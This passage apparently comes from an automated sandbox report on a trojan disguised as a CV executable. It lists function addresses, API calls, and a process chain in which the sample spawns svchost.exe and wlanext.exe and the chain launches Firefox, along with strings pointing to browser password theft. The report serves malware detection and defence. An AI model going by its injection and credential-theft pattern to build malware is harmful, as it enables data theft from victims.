                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_005977B00_2_005977B0
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_005C79C90_2_005C79C9
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_005AFA570_2_005AFA57
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_005A3B700_2_005A3B70
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_00599B600_2_00599B60
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_00597D190_2_00597D19
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_005AFE6F0_2_005AFE6F
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_005B9ED00_2_005B9ED0
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_00597FA30_2_00597FA3
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_013F60880_2_013F6088
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_004185C32_2_004185C3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0040E0032_2_0040E003
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_004100132_2_00410013
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0040E1482_2_0040E148
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0040E1532_2_0040E153
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0042ED732_2_0042ED73
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0040FDEA2_2_0040FDEA
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0040FDF32_2_0040FDF3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_004027602_2_00402760
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_004167CE2_2_004167CE
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_004167D32_2_004167D3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0041678C2_2_0041678C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_00402FB02_2_00402FB0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03E003E62_2_03E003E6
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D4E3F02_2_03D4E3F0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03DFA3522_2_03DFA352
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03DC02C02_2_03DC02C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03DE02742_2_03DE0274
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03DF81CC2_2_03DF81CC
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03E001AA2_2_03E001AA
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03DF41A22_2_03DF41A2
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03DC81582_2_03DC8158
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03DDA1182_2_03DDA118
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D301002_2_03D30100
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03DD20002_2_03DD2000
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D3C7C02_2_03D3C7C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D647502_2_03D64750
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D407702_2_03D40770
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D5C6E02_2_03D5C6E0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03E005912_2_03E00591
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D405352_2_03D40535
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03DEE4F62_2_03DEE4F6
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03DF24462_2_03DF2446
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03DE44202_2_03DE4420
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03DF6BD72_2_03DF6BD7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03DFAB402_2_03DFAB40
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03E0A9A62_2_03E0A9A6
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D429A02_2_03D429A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D569622_2_03D56962
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D6E8F02_2_03D6E8F0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D268B82_2_03D268B8
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D4A8402_2_03D4A840
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D428402_2_03D42840
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D32FC82_2_03D32FC8
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D4CFE02_2_03D4CFE0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03DBEFA02_2_03DBEFA0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03DB4F402_2_03DB4F40
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D60F302_2_03D60F30
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03DE2F302_2_03DE2F30
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D82F282_2_03D82F28
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03DFEEDB2_2_03DFEEDB
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D52E902_2_03D52E90
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03DFCE932_2_03DFCE93
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D40E592_2_03D40E59
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03DFEE262_2_03DFEE26
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D3ADE02_2_03D3ADE0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D58DBF2_2_03D58DBF
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03DDCD1F2_2_03DDCD1F
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D4AD002_2_03D4AD00
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D30CF22_2_03D30CF2
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03DE0CB52_2_03DE0CB5
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D40C002_2_03D40C00
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D8739A2_2_03D8739A
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D2D34C2_2_03D2D34C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03DF132D2_2_03DF132D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D5B2C02_2_03D5B2C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03DE12ED2_2_03DE12ED
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D452A02_2_03D452A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D4B1B02_2_03D4B1B0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03E0B16B2_2_03E0B16B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D2F1722_2_03D2F172
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D7516C2_2_03D7516C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03DEF0CC2_2_03DEF0CC
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D470C02_2_03D470C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03DF70E92_2_03DF70E9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03DFF0E02_2_03DFF0E0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03DFF7B02_2_03DFF7B0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03DF16CC2_2_03DF16CC
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D856302_2_03D85630
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03E095C32_2_03E095C3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03DDD5B02_2_03DDD5B0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03DF75712_2_03DF7571
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D314602_2_03D31460
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03DFF43F2_2_03DFF43F
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03DB5BF02_2_03DB5BF0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D7DBF92_2_03D7DBF9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D5FB802_2_03D5FB80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03DFFB762_2_03DFFB76
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03DEDAC62_2_03DEDAC6
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03DDDAAC2_2_03DDDAAC
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D85AA02_2_03D85AA0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03DE1AA32_2_03DE1AA3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03DFFA492_2_03DFFA49
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03DF7A462_2_03DF7A46
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03DB3A6C2_2_03DB3A6C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D499502_2_03D49950
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D5B9502_2_03D5B950
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03DD59102_2_03DD5910
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D438E02_2_03D438E0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03DAD8002_2_03DAD800
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D03FD22_2_03D03FD2
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D03FD52_2_03D03FD5
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D41F922_2_03D41F92
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03DFFFB12_2_03DFFFB1
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03DFFF092_2_03DFFF09
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D49EB02_2_03D49EB0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D5FDC02_2_03D5FDC0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03DF1D5A2_2_03DF1D5A
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03D43D402_2_03D43D40
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03DF7D732_2_03DF7D73
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03DFFCF22_2_03DFFCF2
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03DB9C322_2_03DB9C32
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03A103E65_2_03A103E6
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_0395E3F05_2_0395E3F0
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03A0A3525_2_03A0A352
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_039D02C05_2_039D02C0
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_039F02745_2_039F0274
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03A041A25_2_03A041A2
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03A101AA5_2_03A101AA
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03A081CC5_2_03A081CC
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_039EA1185_2_039EA118
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_039401005_2_03940100
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_039D81585_2_039D8158
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_039E20005_2_039E2000
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_0394C7C05_2_0394C7C0
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_039747505_2_03974750
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_039507705_2_03950770
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_0396C6E05_2_0396C6E0
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03A105915_2_03A10591
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_039505355_2_03950535
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_039FE4F65_2_039FE4F6
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_039F44205_2_039F4420
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03A024465_2_03A02446
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03A06BD75_2_03A06BD7
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03A0AB405_2_03A0AB40
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_0394EA805_2_0394EA80
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03A1A9A65_2_03A1A9A6
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_039529A05_2_039529A0
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_039669625_2_03966962
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_039368B85_2_039368B8
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_0397E8F05_2_0397E8F0
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_039528405_2_03952840
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_0395A8405_2_0395A840
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_039CEFA05_2_039CEFA0
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03942FC85_2_03942FC8
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_0395CFE05_2_0395CFE0
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03970F305_2_03970F30
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_039F2F305_2_039F2F30
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03992F285_2_03992F28
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_039C4F405_2_039C4F40
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03962E905_2_03962E90
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03A0CE935_2_03A0CE93
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03A0EEDB5_2_03A0EEDB
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03A0EE265_2_03A0EE26
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03950E595_2_03950E59
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03968DBF5_2_03968DBF
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_039ECD1F5_2_039ECD1F
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_0395AD005_2_0395AD00
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_039F0CB55_2_039F0CB5
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03940CF25_2_03940CF2
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03950C005_2_03950C00
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_0399739A5_2_0399739A
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03A0132D5_2_03A0132D
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_0393D34C5_2_0393D34C
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_039552A05_2_039552A0
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_0396B2C05_2_0396B2C0
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_039F12ED5_2_039F12ED
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_0395B1B05_2_0395B1B0
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03A1B16B5_2_03A1B16B
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_0393F1725_2_0393F172
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_0398516C5_2_0398516C
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03A0F0E05_2_03A0F0E0
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03A070E95_2_03A070E9
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_039FF0CC5_2_039FF0CC
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_039570C05_2_039570C0
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03A0F7B05_2_03A0F7B0
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03A016CC5_2_03A016CC
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_039956305_2_03995630
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_039ED5B05_2_039ED5B0
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03A195C35_2_03A195C3
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03A075715_2_03A07571
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03A0F43F5_2_03A0F43F
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_039414605_2_03941460
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_0396FB805_2_0396FB80
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_0398DBF95_2_0398DBF9
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_039C5BF05_2_039C5BF0
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03A0FB765_2_03A0FB76
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_039EDAAC5_2_039EDAAC
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03995AA05_2_03995AA0
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_039F1AA35_2_039F1AA3
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_039FDAC65_2_039FDAC6
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03A07A465_2_03A07A46
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03A0FA495_2_03A0FA49
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_039C3A6C5_2_039C3A6C
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_039E59105_2_039E5910
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_039599505_2_03959950
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_0396B9505_2_0396B950
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_039538E05_2_039538E0
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_039BD8005_2_039BD800
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03951F925_2_03951F92
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03A0FFB15_2_03A0FFB1
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03913FD25_2_03913FD2
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03913FD55_2_03913FD5
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03A0FF095_2_03A0FF09
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03959EB05_2_03959EB0
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_0396FDC05_2_0396FDC0
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03A07D735_2_03A07D73
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03953D405_2_03953D40
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03A01D5A5_2_03A01D5A
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03A0FCF25_2_03A0FCF2
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_039C9C325_2_039C9C32
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03111CB05_2_03111CB0
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_0310CB975_2_0310CB97
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_0310CBA05_2_0310CBA0
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_0310AF005_2_0310AF00
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_0310AEF55_2_0310AEF5
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_0310ADB05_2_0310ADB0
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_0310CDC05_2_0310CDC0
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_031153705_2_03115370
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_031135395_2_03113539
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_0311357B5_2_0311357B
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_031135805_2_03113580
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_0312BB205_2_0312BB20
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_0372E3335_2_0372E333
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_0372E2145_2_0372E214
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_0372D7985_2_0372D798
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_0372E6CC5_2_0372E6CC
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: String function: 039BEA12 appears 86 times
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: String function: 03997E54 appears 111 times
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: String function: 0393B970 appears 280 times
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: String function: 039CF290 appears 105 times
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: String function: 03985130 appears 58 times
                Source: C:\Windows\SysWOW64\svchost.exeCode function: String function: 03D87E54 appears 111 times
                Source: C:\Windows\SysWOW64\svchost.exeCode function: String function: 03D75130 appears 58 times
                Source: C:\Windows\SysWOW64\svchost.exeCode function: String function: 03DAEA12 appears 86 times
                Source: C:\Windows\SysWOW64\svchost.exeCode function: String function: 03DBF290 appears 105 times
                Source: C:\Windows\SysWOW64\svchost.exeCode function: String function: 03D2B970 appears 280 times
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: String function: 005B6AC0 appears 42 times
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: String function: 005AEC2F appears 68 times
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: String function: 005BF8A0 appears 35 times
                Source: CV_ Filipa Barbosa.exe, 00000000.00000003.1514037440.0000000003E4D000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: OriginalFilenamentdll.dllj% vs CV_ Filipa Barbosa.exe
                Source: CV_ Filipa Barbosa.exe, 00000000.00000003.1511568170.0000000003CA3000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: OriginalFilenamentdll.dllj% vs CV_ Filipa Barbosa.exe
                Source: CV_ Filipa Barbosa.exeStatic PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
                Source: classification engineClassification label: mal100.troj.spyw.evad.winEXE@7/3@18/11
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_005DCE7A GetLastError,FormatMessageW,0_2_005DCE7A
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_005CAB84 AdjustTokenPrivileges,CloseHandle,0_2_005CAB84
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_005CB134 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,0_2_005CB134
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_005DE1FD SetErrorMode,GetDiskFreeSpaceExW,SetErrorMode,0_2_005DE1FD
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_005D6532 CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,__wsplitpath,_wcscat,CloseHandle,0_2_005D6532
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_005EC18C CoInitializeSecurity,_memset,_memset,CoCreateInstanceEx,CoTaskMemFree,CoSetProxyBlanket,0_2_005EC18C
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_0059406B CreateStreamOnHGlobal,FindResourceExW,LoadResource,SizeofResource,LockResource,0_2_0059406B
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeFile created: C:\Users\user\AppData\Local\Temp\aut423E.tmpJump to behavior
                Source: CV_ Filipa Barbosa.exeStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                Source: C:\Program Files\Mozilla Firefox\firefox.exeFile read: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.iniJump to behavior
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
                Source: wlanext.exe, 00000005.00000003.2058300627.0000000003287000.00000004.00000020.00020000.00000000.sdmp, wlanext.exe, 00000005.00000002.3958570769.0000000003287000.00000004.00000020.00020000.00000000.sdmp, wlanext.exe, 00000005.00000003.2058180022.0000000003267000.00000004.00000020.00020000.00000000.sdmp, wlanext.exe, 00000005.00000002.3958570769.00000000032B3000.00000004.00000020.00020000.00000000.sdmp, wlanext.exe, 00000005.00000003.2060302304.0000000003290000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
                Source: CV_ Filipa Barbosa.exeReversingLabs: Detection: 57%
                Source: unknownProcess created: C:\Users\user\Desktop\CV_ Filipa Barbosa.exe "C:\Users\user\Desktop\CV_ Filipa Barbosa.exe"
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeProcess created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\CV_ Filipa Barbosa.exe"
                Source: C:\Program Files (x86)\QQHQTgfIdYvuiYmroAJdQlOYUcUFPTDPaoSKiqbKFOQJGNmKhZDdGcOpzNTCVDLBcCKHd\HgsHJMSZolWa.exeProcess created: C:\Windows\SysWOW64\wlanext.exe "C:\Windows\SysWOW64\wlanext.exe"
                Source: C:\Windows\SysWOW64\wlanext.exeProcess created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeProcess created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\CV_ Filipa Barbosa.exe"Jump to behavior
                Source: C:\Program Files (x86)\QQHQTgfIdYvuiYmroAJdQlOYUcUFPTDPaoSKiqbKFOQJGNmKhZDdGcOpzNTCVDLBcCKHd\HgsHJMSZolWa.exeProcess created: C:\Windows\SysWOW64\wlanext.exe "C:\Windows\SysWOW64\wlanext.exe"Jump to behavior
                Source: C:\Windows\SysWOW64\wlanext.exeProcess created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"Jump to behavior
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeSection loaded: apphelp.dllJump to behavior
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeSection loaded: wsock32.dllJump to behavior
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeSection loaded: version.dllJump to behavior
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeSection loaded: winmm.dllJump to behavior
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeSection loaded: mpr.dllJump to behavior
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeSection loaded: wininet.dllJump to behavior
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeSection loaded: iphlpapi.dllJump to behavior
